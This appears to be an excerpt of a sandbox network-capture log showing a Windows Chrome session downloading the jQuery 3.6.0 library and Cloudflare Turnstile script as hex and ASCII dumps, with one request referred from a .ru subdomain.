2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-13 20:17:22 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	62499	104.18.95.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:23 UTC	649	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8zkl.gratzeware.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:23 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:23 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901811c9eeee42fb-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Ie;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 49 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c Data Ascii: OM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function it(e){return M(["auto","dark","light"],e)}function ot(e){return M(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function ut(e){return e>0&&e<36e4}var Ir=/^[0-9A-Za-z_-]{3,
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 2c 65 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 68 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b Data Ascii: ,er=".g-recaptcha",ht="cf_challenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],k
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d Data Ascii: boseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function Be(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}
2025-01-13 20:17:23 UTC	1369	IN	Data Raw: 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 53 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 Data Ascii: 0;return qe=function(o){if(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Se(o,arguments,ce(t
